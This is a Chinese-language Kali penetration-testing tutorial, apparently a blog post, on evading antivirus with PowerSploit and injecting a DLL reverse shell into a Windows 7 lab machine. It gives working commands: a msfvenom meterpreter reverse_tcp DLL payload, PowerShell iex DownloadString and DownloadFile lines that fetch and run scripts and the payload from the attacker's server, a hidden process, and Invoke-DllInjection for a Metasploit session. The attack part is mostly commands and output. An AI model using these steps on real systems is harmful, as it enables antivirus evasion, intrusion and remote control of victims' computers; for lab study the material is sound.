Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)

简介: Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)

接上文 Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)https://developer.aliyun.com/article/1618429

2. PowerSploit提供的免杀方法
如上所述,msfvenon提供的免杀方案已经很难发挥作用了。PowerSploit工具基于PowerShell工具,PowerShell是微软提供的一个程序,相当于UNIX系统的BASH命令, 它是个很强大的工具,学会使用它对Windows上的安全工作有很大帮助。使用PowerShell来实现被控端可以逃避很多反病毒软件的查杀。因此PowerSploit也成为了一个非常受欢迎的黑客工具。在Kali Linux中依次点击菜单栏10-Post Exploitation/OS Backdoors/powersploit来启动PowerSploit,如下图所示:

image.png

启动之后的PowerSploit其实是一个目录,里面包含了一些其他的目录内容,如果要使用这个工具,需要将PowerSploit目录当做一个网站发布出去。

┌──(root💀kali)-[/usr/share/windows-resources/powersploit]
└─# python3 -m http.server 8000

image.png

注意: 如果要在浏览器直接访问powersploit一定要在powersploit路径下/usr/share/windows-resources/powersploit运行上面箭头所指的启动命令。否则无法直接访问该目录。

启动之后,在靶机(Win7)安装有PowerShell的机器上访问Kali Linux IP地址和8000端口,就可以直接访问到powersploit目录了,如下图所示:
image.png

PowerSploit功能很多,首先从AntivirusBypass开始,这个功能可以用来检测被控端特征码。AntivirusBypass的思想很简单,既然被控端程序中的一段内容是特征码,那么我们就将被控端程序分成n个部分,然后分别使用杀软检查。如果哪个部分报毒,那么说明这个部分存在特征码,接着再将报毒部分分成n个部分,再分别使用杀毒软件检查,逐渐找到特征码所在位置。

步骤如下:

1. 下载Find-AVSignature.ps1文件
在靶机(Win7)中使用PowerShell的下载功能,命令如下:

PS C:\Users\CISP-PTE>iex(New-Object Net.WebClient).DownloadString("http://192.168.68.125:8000/AntivirusBypass/Find-AVSignature.ps1")

要下载的脚本在Kali建立服务器下的/AntivirusBypass/Find-AVSignature.ps1文件。使用方法可执行如下图箭头所指命令。

image.png

2. 生成测试文件
测试的目标是一个20000字节的test.exe, 首先把它移动到C盘下,然后使用如下命令:

PS C:\Users\CISP-PTE> Find-AVSignature -StartByte 0 -EndByte 200000 -Interval 100000 -Path C:\test.exe -OutPath C:\run2 -Verbose

该命令执行之后,在C:\run2目录下生成2个文件。使用杀毒软件对这2个文件进行检查,找出报毒部分。然后反复执行,知道发现特征吗所在位置。

3. Invoke-DllInjection脚本注入DLL实现反向被控
PowerSploit中提供的第2部分功能是CodeExecution,这里主要提供4个脚本:

Invoke-DllInjection.ps1
Invoke-ReflectivePEInjection.ps1
Invoke-Shellcode.ps1
Invoke-WmiCommand.ps1
脚本Invoke-DllInjection用来实现将DLL文件注入到一个进程中,例如我们生成一个DLL类型反向被控端。

1. 生成DLL反向被控payload,命令如下:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -f dll -o /var/payload.dll

运行结果如下图所示:
image.png

注意:此处一定要生成64位payload,就是windows/x64,否则生成是32位dll不能完成注入。除非靶机也是32位系统。

这也是本人在实践中获取的经验和知识。

2. 在靶机下载payload.dll

在靶机PowerShell执行如下命令,将payload.dll下载到C盘根目录:

PS C:\Users\CISP-PTE>(New-Object System.Net.WebClient).DownloadFile("http://192.168.68.125:8000/payload1.dll", "c:\payload.dll")

注意:在Kali Linux中要把payload.dll文件拷贝到"/usr/share/windows-resources/powersploit/"路径下,然后执行上面的下载命令。

3. 在靶机中下载Invoke-DllInjection脚本
下载完payload.dll文件,接下来用PowerShell下载Invoke-DllInjection脚本,命令如下:

PS C:\Users\CISP-PTE>iex(New-Object Net.WebClient).DownloadString("http://192.168.68.125:8000/CodeExecution/Invoke-DllInjection.ps1")

使用get-help来查看Invoke-DllInjection的帮助,如下图所示:

image.png

4. 在靶机建立一个隐藏进程
在PowerShell中使用如下命令,建立一个隐藏进程:

PS C:\Users\CISP-PTE>Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden

在PowerShell中使用“Get-Process”获取进程ID,命令如下:

PS C:\Users\CISP-PTE>Get-Process -Name notepad
  1. 将payload.dll注入到700进程
    按照上图获取的帮助语法进行注入,命令如下:
PS C:\Users\CISP-PTE> Invoke-DllInjection -ProcessID 3368 c:\payload.dll

注入成功,如下图所示:

image.png

  1. Kali Linux msf界面反弹成功
    如下图所示:

image.png

红框内是靶机Win7的用户目录下的文件。

相关文章
|
8天前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
39 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
1月前
|
数据库连接 Go 数据库
Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性
本文探讨了Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性;防御编程则强调在编码时考虑各种错误情况,确保程序健壮性。文章详细介绍了这两种技术在Go语言中的实现方法及其重要性,旨在提升软件质量和可靠性。
29 1
|
1月前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
2月前
|
Java 程序员 测试技术
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
32 5
|
2月前
|
网络协议 安全 Linux
Kali渗透测试:拒绝服务攻击(一)
Kali渗透测试:拒绝服务攻击(一)
180 2
|
2月前
|
存储 网络协议 安全
Kali渗透测试:拒绝服务攻击(二)
Kali渗透测试:拒绝服务攻击(二)
252 0
|
2月前
|
安全 网络安全 数据库
Kali测试:散列密码破解(一)
Kali渗透测试:散列密码破解(一)
40 0
|
2月前
|
安全 应用服务中间件 网络安全
Kali测试:散列密码破解(二)
Kali渗透测试:散列密码破解(二)
120 0
|
4天前
|
监控 JavaScript 测试技术
postman接口测试工具详解
Postman是一个功能强大且易于使用的API测试工具。通过详细的介绍和实际示例,本文展示了Postman在API测试中的各种应用。无论是简单的请求发送,还是复杂的自动化测试和持续集成,Postman都提供了丰富的功能来满足用户的需求。希望本文能帮助您更好地理解和使用Postman,提高API测试的效率和质量。
30 11
|
1月前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
60 3
下一篇
DataWorks